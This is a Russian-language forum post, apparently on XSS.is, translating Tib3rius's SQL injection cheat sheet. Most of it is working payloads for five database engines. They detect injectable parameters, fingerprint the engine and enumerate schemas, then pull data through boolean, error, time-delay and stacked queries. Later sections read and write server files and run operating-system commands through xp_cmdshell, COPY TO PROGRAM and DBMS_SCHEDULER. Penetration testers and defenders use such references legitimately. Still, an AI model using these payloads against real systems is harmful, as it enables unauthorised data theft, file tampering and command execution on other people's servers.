Очередная, но довольно годная: Шпаргалка по SQL-инъекциям

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Источник: https://tib3rius.com/sqli
Перевод: BLUA специально для XSS.is

Это шпаргалка по SQL-инъекциям с проверенными и надежными полезными нагрузками/техниками, которые охватывают 5 самых популярных вариантов баз данных и их производные (MySQL, PostgreSQL, MSSQL/SQL Server, Oracle, SQLite).

Avoiding OR <true> (OR 1=1)

За исключением CTF, инъекций с выражением OR <true> (например, ' OR 1=1 -- -) следует избегать, если это не абсолютно необходимо.

Я написал о причинах этого в этой статье и подробно рассказал о них в этом видео.

Если у вас есть "допустимое значение", практически нет необходимости использовать OR <true> при выполнении SQL-инъекций. Допустимое значение — это такое значение, которое возвращает "положительный" результат в приложении, например, поисковый запрос, возвращающий 1 или более результатов, ID, который соответствует реальному ресурсу (например, пользователю, продукту и т.д.), или допустимое имя пользователя.

Метод «Break & Repair»

Простой, но в целом надежный метод для обнаружения базовых SQL-инъекций.

Сначала "сломайте" оператор, внедрив одинарную или двойную кавычку в иначе допустимое значение (например, username=admin').

Затем замените внедренную кавычку каждой из следующих "поправок" по очереди, чтобы увидеть, приведет ли одна из них к исходному (не внедренному) ответу:
Код: Скопировать в буфер обмена
Код:
' '
'||'
'+'
' AND '1'='1
' -- -

В некоторых случаях ни одна из наших "поправок" не работает, потому что мы внедряем в целочисленное значение. В этих случаях попробуйте следующие поправки. Обратите внимание, что каждая из них начинается с пробела:
Код: Скопировать в буфер обмена
Код:
 -- -
 AND 1=1
 AND 1=1 -- -

Предположим, что существует некая поисковая функция, где поисковый запрос shirt возвращает 23 результата. Таким образом, допустимое значение — shirt, а соответствующий корректный ответ — страница, содержащая 23 результата.

Добавление одинарной кавычки к поисковому запросу shirt' нарушает SQL-запрос, и теперь возвращается 0 результатов. Обратите внимание, что это также может быть из-за того, что поисковый запрос shirt' теперь недействителен, но процесс "поправки" должен это определить.

Замените одинарную кавычку на одну из "поправок", например, shirt' '. Этот новый поисковый запрос снова возвращает 23 результата. Поскольку это совпадает с исходным корректным ответом, весьма вероятно, что поисковая функция уязвима для SQL-инъекции.

Это можно подтвердить, попытавшись провести атаку с использованием UNION-инъекции или внедрив два булевых полезных груза:
shirt' AND '1'='1
shirt' AND '1'='0

Первый должен вернуть исходный корректный ответ (23 результата), в то время как второй должен вернуть 0 результатов.

Идентификация вариантов

Как только потенциальная инъекция обнаружена, вариант базы данных (например, MySQL, PostgreSQL) можно определить, вводя эти полезные данные по порядку до тех пор, пока не будет получен положительный результат:

MySQL AND 'foo' 'bar' = 'foobar'
MSSQL AND DATALENGTH('foo') = 3
PostgreSQL AND TO_HEX(1) = '1'
Oracle AND LENGTHB('foo') = '3'
SQLite AND GLOB('foo*', 'foobar') = 1

Комментарии

Этот синтаксис комментариев можно использовать для добавления комментариев к SQL-запросам, что полезно для исключения всего после инъекции, а также для обхода некоторых фильтров. Обратите внимание, что комментарии, начинающиеся с --, требуют пробела после -- , чтобы быть действительными, а /*comment*/ являются встроенными комментариями.

MySQL
Код: Скопировать в буфер обмена
Код:
# comment
-- comment
/*comment*/

PostgreSQL
Код: Скопировать в буфер обмена
Код:
-- comment
/*comment*/

MSSQL
Код: Скопировать в буфер обмена
Код:
-- comment
/*comment*/

Oracle
Код: Скопировать в буфер обмена
Код:
-- comment
/*comment*/

SQLite
Код: Скопировать в буфер обмена
Код:
-- comment
/*comment*/

Конкатенация строк

Эти функции/операторы можно использовать для объединения двух или более строк вместе.

MySQL
Код: Скопировать в буфер обмена
Код:
'foo' 'bar'
CONCAT('foo', 'bar')

PostgreSQL
Код: Скопировать в буфер обмена
Код:
'foo'||'bar'
CONCAT('foo', 'bar')

MSSQL
Код: Скопировать в буфер обмена
Код:
'foo'+'bar'
CONCAT('foo', 'bar')

Oracle
Код: Скопировать в буфер обмена
Код:
'foo'||'bar'
CONCAT('foo', 'bar')

SQLite
Код: Скопировать в буфер обмена
Код:
'foo'||'bar'
CONCAT('foo', 'bar')

Подстрока

Эти функции можно использовать для выбора подстроки из строки. Значение START должно быть установлено на 1 (а не на 0), чтобы начать подстроку с первого символа.

MySQL
Код: Скопировать в буфер обмена
Код:
SUBSTRING('foobar', START, LENGTH)
SUBSTR('foobar', START, LENGTH)

PostgreSQL
Код: Скопировать в буфер обмена
Код:
SUBSTRING('foobar', START, LENGTH)
SUBSTR('foobar', START, LENGTH)

MSSQL
Код: Скопировать в буфер обмена
SUBSTRING('foobar', START, LENGTH)

Oracle
Код: Скопировать в буфер обмена
SUBSTR('foobar', START, LENGTH)

SQLite
Код: Скопировать в буфер обмена
Код:
SUBSTRING('foobar', START, LENGTH)
SUBSTR('foobar', START, LENGTH)

Длина

Эти функции подсчитывают длину строк в байтах или символах (так как некоторые символы могут занимать несколько байт благодаря Юникоду).

MySQL
LENGTH('foo') Подсчитывает количество байт
CHAR_LENGTH('foo') Подсчитывает количество символов (включая многобайтовые символы)

PostgreSQL
LENGTH('foo') Подсчитывает количество символов (включая многобайтовые символы)

MSSQL
DATALENGTH('foo') Подсчитывает количество байт
LEN('foo') Подсчитывает количество символов (включая многобайтовые символы)

Oracle
LENGTHB('foo') Подсчитывает количество байт
LENGTH('foo') Подсчитывает количество символов (включая многобайтовые символы)

SQLite
LENGTH('foo') Подсчитывает количество символов (включая многобайтовые символы)

Групповая конкатенация

Эти функции объединяют значения из нескольких строк результатов в одну строку.

MySQL GROUP_CONCAT(expression, 'DELIMITER')
PostgreSQL STRING_AGG(expression, 'DELIMITER')
MSSQL STRING_AGG(expression, 'DELIMITER')
Oracle LISTAGG(expression, 'DELIMITER')
SQLite GROUP_CONCAT(expression, 'DELIMITER')

Преобразование символов в целые числа для сравнений

Полезно для слепых SQL-инъекций, чтобы определить диапазон, в который попадает символ. Обратите внимание, что функции MySQL и Oracle выводят шестнадцатеричное число, в то время как остальные выводят десятичное.

MySQL HEX('a') Вывод: 61
PostgreSQL ASCII('a') Вывод: 97
MSSQL UNICODE('a') Вывод: 97
Oracle RAWTOHEX('a') Вывод: 61
SQLite UNICODE('a') Вывод: 97

Ограничение и смещение запросов

Синтаксис для ограничения результатов запроса определенным количеством строк, а также для смещения начальной строки.
Capture.PNG



Версия базы данных

Функции и операторы, которые предоставляют информацию о версии базы данных.

MySQL
Код: Скопировать в буфер обмена
Код:
@@VERSION
VERSION()
@@GLOBAL.VERSION

PostgreSQL
VERSION()

MSSQL
@@VERSION

Oracle
Код: Скопировать в буфер обмена
Код:
SELECT BANNER FROM v$version WHERE ROWNUM = 1
SELECT BANNER FROM gv$version WHERE ROWNUM = 1

SQLite
sqlite_version()

Текущая база данных/схема

Запросы, которые возвращают текущую выбранную базу данных/схему.

MySQL
Код: Скопировать в буфер обмена
SELECT DATABASE()

PostgreSQL
Код: Скопировать в буфер обмена
Код:
SELECT CURRENT_DATABASE()
SELECT CURRENT_SCHEMA()

MSSQL
Код: Скопировать в буфер обмена
Код:
SELECT DB_NAME()
SELECT SCHEMA_NAME()

Oracle
Код: Скопировать в буфер обмена
Код:
SELECT name FROM V$database
SELECT * FROM global_name
SELECT sys_context('USERENV', 'CURRENT_SCHEMA') FROM dual;

SQLite
N/A

Список баз данных

Запросы, которые возвращают список всех баз данных/схем.

MySQL
Код: Скопировать в буфер обмена
Код:
SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA
SELECT db FROM mysql.db

PostgreSQL
Код: Скопировать в буфер обмена
Код:
SELECT datname FROM pg_database
SELECT DISTINCT(schemaname) FROM pg_tables

MSSQL
Код: Скопировать в буфер обмена
Код:
SELECT name FROM master.sys.databases
SELECT name FROM master..sysdatabases

Oracle
Код: Скопировать в буфер обмена
SELECT OWNER FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)

SQLite
Код: Скопировать в буфер обмена
N/A

Список таблиц

Запросы, которые возвращают список всех таблиц в заданной базе данных/схеме.

MySQL
Код: Скопировать в буфер обмена
Код:
SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='[DBNAME]'
SELECT database_name,table_name FROM mysql.innodb_table_stats WHERE database_name='[DBNAME]'

PostgreSQL
Код: Скопировать в буфер обмена
Код:
SELECT tablename FROM pg_tables WHERE schemaname = '[SCHEMA_NAME]'
SELECT table_name FROM information_schema.tables WHERE table_schema='[SCHEMA_NAME]'

MSSQL
Код: Скопировать в буфер обмена
Код:
SELECT table_name FROM information_schema.tables WHERE table_catalog='[DBNAME]'
SELECT name FROM [DBNAME]..sysobjects WHERE xtype='U'

Oracle
Код: Скопировать в буфер обмена
SELECT OWNER,TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='[DBNAME]'

SQLite
Код: Скопировать в буфер обмена
SELECT tbl_name FROM sqlite_master WHERE type='table'

Список столбцов

Запросы, которые возвращают список всех столбцов в заданной паре таблица и база данных/схема.

MySQL
Код: Скопировать в буфер обмена
SELECT column_name,column_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='[TABLE_NAME]' AND table_schema='[DBNAME]'

PostgreSQL
Код: Скопировать в буфер обмена
SELECT column_name,data_type FROM information_schema.columns WHERE table_schema='[DBNAME]' AND table_name='[TABLE_NAME]'

MSSQL
Код: Скопировать в буфер обмена
SELECT COL_NAME(OBJECT_ID('[DBNAME].[TABLE_NAME]'), [INDEX])

Oracle
Код: Скопировать в буфер обмена
SELECT COLUMN_NAME,DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='[TABLE_NAME]' AND OWNER='[DBNAME]'

SQLite
Код: Скопировать в буфер обмена
Код:
SELECT MAX(sql) FROM sqlite_master WHERE tbl_name='[TABLE_NAME]'
SELECT name FROM PRAGMA_TABLE_INFO('[TABLE_NAME]')

Булева ошибка инференциальной эксплуатации

Полезные данные, которые вызывают ошибку в SQL, если условие 1=1 истинно. Замените 1=1 на условие, которое вы хотите проверить; если ошибка возвращается в ответ каким-либо измеримым образом (например, ошибка 500 Internal Server Error), то условие истинно.

MySQL
Код: Скопировать в буфер обмена
AND 1=(SELECT IF(1=1,(SELECT table_name FROM information_schema.tables),1))

PostgreSQL
Код: Скопировать в буфер обмена
AND 1=(SELECT CASE WHEN (1=1) THEN CAST(1/0 AS INTEGER) ELSE 1 END)

MSSQL
Код: Скопировать в буфер обмена
AND 1=(SELECT CASE WHEN (1=1) THEN 1/0 ELSE 1 END)

Oracle
Код: Скопировать в буфер обмена
AND 1=(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '1' END FROM dual)

SQLite
Код: Скопировать в буфер обмена
Код:
AND 1=(SELECT CASE WHEN (1=1) THEN load_extension(1) ELSE 1 END)
AND 1=(SELECT CASE WHEN (1=1) THEN abs(-9223372036854775808) ELSE 1 END)

Эксплуатация на основе ошибок

Эти полезные данные для инъекции должны вызвать ошибку базы данных и вернуть информацию о версии варианта базы данных в этой ошибке.

MySQL
Код: Скопировать в буфер обмена
Код:
AND GTID_SUBSET(CONCAT('~',(SELECT version()),'~'),1337) -- -
AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('~',(SELECT version()),'~')) USING utf8))) -- -
AND EXTRACTVALUE(1337,CONCAT('.','~',(SELECT version()),'~')) -- -
AND UPDATEXML(1337,CONCAT('.','~',(SELECT version()),'~'),31337) -- -
OR 1 GROUP BY CONCAT('~',(SELECT version()),'~',FLOOR(RAND(0)*2)) HAVING MIN(0) -- -
AND EXP(~(SELECT * FROM (SELECT CONCAT('~',(SELECT version()),'~','x'))x)) -- -

PostgreSQL
Код: Скопировать в буфер обмена
Код:
AND 1337=CAST('~'||(SELECT version())::text||'~' AS NUMERIC) -- -
AND (CAST('~'||(SELECT version())::text||'~' AS NUMERIC)) -- -
AND CAST((SELECT version()) AS INT)=1337 -- -
AND (SELECT version())::int=1 -- -

MSSQL
Код: Скопировать в буфер обмена
Код:
AND 1337 IN (SELECT ('~'+(SELECT @@version)+'~')) -- -
AND 1337=CONVERT(INT,(SELECT '~'+(SELECT @@version)+'~')) -- -
AND 1337=CONCAT('~',(SELECT @@version),'~') -- -

Oracle
Код: Скопировать в буфер обмена
Код:
AND 1337=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'~'||(REPLACE(REPLACE(REPLACE(REPLACE((SELECT banner FROM v$version),' ','_'),'$','(DOLLAR)'),'@','(AT)'),'#','(HASH)'))||'~'||CHR(62))) FROM DUAL) -- -
AND 1337=UTL_INADDR.GET_HOST_ADDRESS('~'||(SELECT banner FROM v$version)||'~') -- -
AND 1337=CTXSYS.DRITHSX.SN(1337,'~'||(SELECT banner FROM v$version)||'~') -- -
AND 1337=DBMS_UTILITY.SQLID_TO_SQLHASH('~'||(SELECT banner FROM v$version)||'~') -- -

Эксплуатация на основе времени

Простые инъекции на основе времени

Обратите внимание, что эти инъекционные полезные нагрузки по своей природе опасны, так как функция sleep может выполняться несколько раз. Они заставят базу данных "засыпать" на 10 секунд за каждую строку, оцениваемую запросом.

Их следует использовать только в том случае, если вы уверены, что запрос, в который вы внедряете, будет оценивать только одну строку.

MySQL
Код: Скопировать в буфер обмена
AND SLEEP(10)=0

PostgreSQL
Код: Скопировать в буфер обмена
AND 'RANDSTR'||PG_SLEEP(10)='RANDSTR'

MSSQL
Код: Скопировать в буфер обмена
AND 1337=(CASE WHEN (1=1) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE 1337 END)

Oracle
Код: Скопировать в буфер обмена
AND 1337=(CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('RANDSTR',10) ELSE 1337 END)

SQLite
Код: Скопировать в буфер обмена
AND 1337=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

Сложные инъекции на основе времени

Эти полезные нагрузки для инъекций "безопасны" и должны заставлять спать (на 10 секунд) только один раз за выражение. Замените 1=1 на условие, которое вы хотите проверить; если происходит задержка на 10 секунд, значит, условие истинно.

MySQL
Код: Скопировать в буфер обмена
AND (SELECT 1337 FROM (SELECT(SLEEP(10-(IF((1=1),0,10))))) RANDSTR)

PostgreSQL
Код: Скопировать в буфер обмена
AND 1337=(CASE WHEN (1=1) THEN (SELECT 1337 FROM PG_SLEEP(10)) ELSE 1337 END)

MSSQL
Код: Скопировать в буфер обмена
AND 1337=(CASE WHEN (1=1) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE 1337 END)

Oracle
Код: Скопировать в буфер обмена
AND 1337=(CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('RANDSTR',10) ELSE 1337 END)

SQLite
Код: Скопировать в буфер обмена
AND 1337=(CASE WHEN (1=1) THEN (SELECT 1337 FROM (SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))))) ELSE 1337 END)

Инъекция на основе стека

Как правило, если инъекция на основе стека поддерживается, её можно обнаружить только вызвав задержку по времени. Эти полезные нагрузки для инъекций должны вызвать задержку на 10 секунд:

MySQL
Код: Скопировать в буфер обмена
; SLEEP(10) -- -

PostgreSQL
Код: Скопировать в буфер обмена
; PG_SLEEP(10) -- -

MSSQL
Код: Скопировать в буфер обмена
; WAITFOR DELAY '0:0:10' -- -

Oracle
Код: Скопировать в буфер обмена
; DBMS_PIPE.RECEIVE_MESSAGE('RANDSTR',10) -- -

SQLite
Код: Скопировать в буфер обмена
; RANDOMBLOB(1000000000/2) -- -

Эти полезные нагрузки для инъекций должны вызвать задержку на 10 секунд, если условие 1=1 истинно. Замените 1=1 на условие, которое вы хотите проверить; если возникает задержка на 10 секунд, то условие истинно.

MySQL
Код: Скопировать в буфер обмена
; SELECT IF((1=1),SLEEP(10),1337)

PostgreSQL
Код: Скопировать в буфер обмена
; SELECT (CASE WHEN (1=1) THEN (SELECT 1337 FROM PG_SLEEP(10)) ELSE 1337 END)

MSSQL
Код: Скопировать в буфер обмена
; IF(1=1) WAITFOR DELAY '0:0:10'

Oracle
Код: Скопировать в буфер обмена
; SELECT CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('RANDSTR',10) ELSE 1337 END FROM DUAL

SQLite
Код: Скопировать в буфер обмена
; SELECT (CASE WHEN (1=1) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))) ELSE 1337 END)

Чтение локальных файлов

Эти функции читают содержимое локальных файлов. Метод Oracle может быть использован только в случае, если возможны вложенные инъекции. Функция readfile в SQLite не является основной.

MySQL
Код: Скопировать в буфер обмена
LOAD_FILE('/path/to/file')

PostgreSQL
Код: Скопировать в буфер обмена
PG_READ_FILE('/path/to/file')

MSSQL
Код: Скопировать в буфер обмена
OPENROWSET(BULK 'C:\path\to\file', SINGLE_CLOB)

Oracle
Код: Скопировать в буфер обмена
utl_file.get_line(utl_file.fopen('/path/to/','file','R'), <buffer>)

SQLite
Код: Скопировать в буфер обмена
readfile('/path/to/file')

Запись локальных файлов

Эти инструкции записывают содержимое в локальный файл. Методы PostgreSQL, MSSQL и Oracle могут быть использованы только в случае, если возможны вложенные инъекции. Для MSSQL требуется включение "Ole Automation Procedures".

MySQL
Код: Скопировать в буфер обмена
SELECT 'contents' INTO OUTFILE '/path/to/file'

PostgreSQL
Код: Скопировать в буфер обмена
COPY (SELECT 'contents') TO '/path/to/file'

MSSQL
Код: Скопировать в буфер обмена
execute spWriteStringToFile 'contents', 'C:\path\to\', 'file'

Oracle
Код: Скопировать в буфер обмена
utl_file.put_line(utl_file.fopen('/path/to/','file','R'), <buffer>)

SQLite
Код: Скопировать в буфер обмена
SELECT writefile('/path/to/file', column_name) FROM table_name

Выполнение команд операционной системы

Эти инструкции выполняют локальные команды операционной системы. Методы PostgreSQL, MSSQL и второй метод Oracle могут быть использованы только в случае, если возможны вложенные инъекции. Для первого метода Oracle требуется пакет OS_Command.

MySQL
Код: Скопировать в буфер обмена
Not Possible

PostgreSQL
Код: Скопировать в буфер обмена
COPY (SELECT '') to program '<command>'

MSSQL
Код: Скопировать в буфер обмена
EXEC xp_cmdshell '<command>'

Oracle
Код: Скопировать в буфер обмена
Код:
select os_command.exec_clob('<command>') cmd from dual`
`DBMS_SCHEDULER.CREATE_JOB (job_name => 'exec', job_type => 'EXECUTABLE', job_action => '<command>', enabled => TRUE)

SQLite
Код: Скопировать в буфер обмена
Not Possible

Ссылки

Подавляющее большинство информации, представленной здесь, было получено из моих собственных исследований и экспериментов с различными инъекциями и вариантами баз данных. Однако несколько полезных нагрузок были взяты из популярного инструмента для SQL-инъекций SQLmap или основаны на них.
 
Сверху Снизу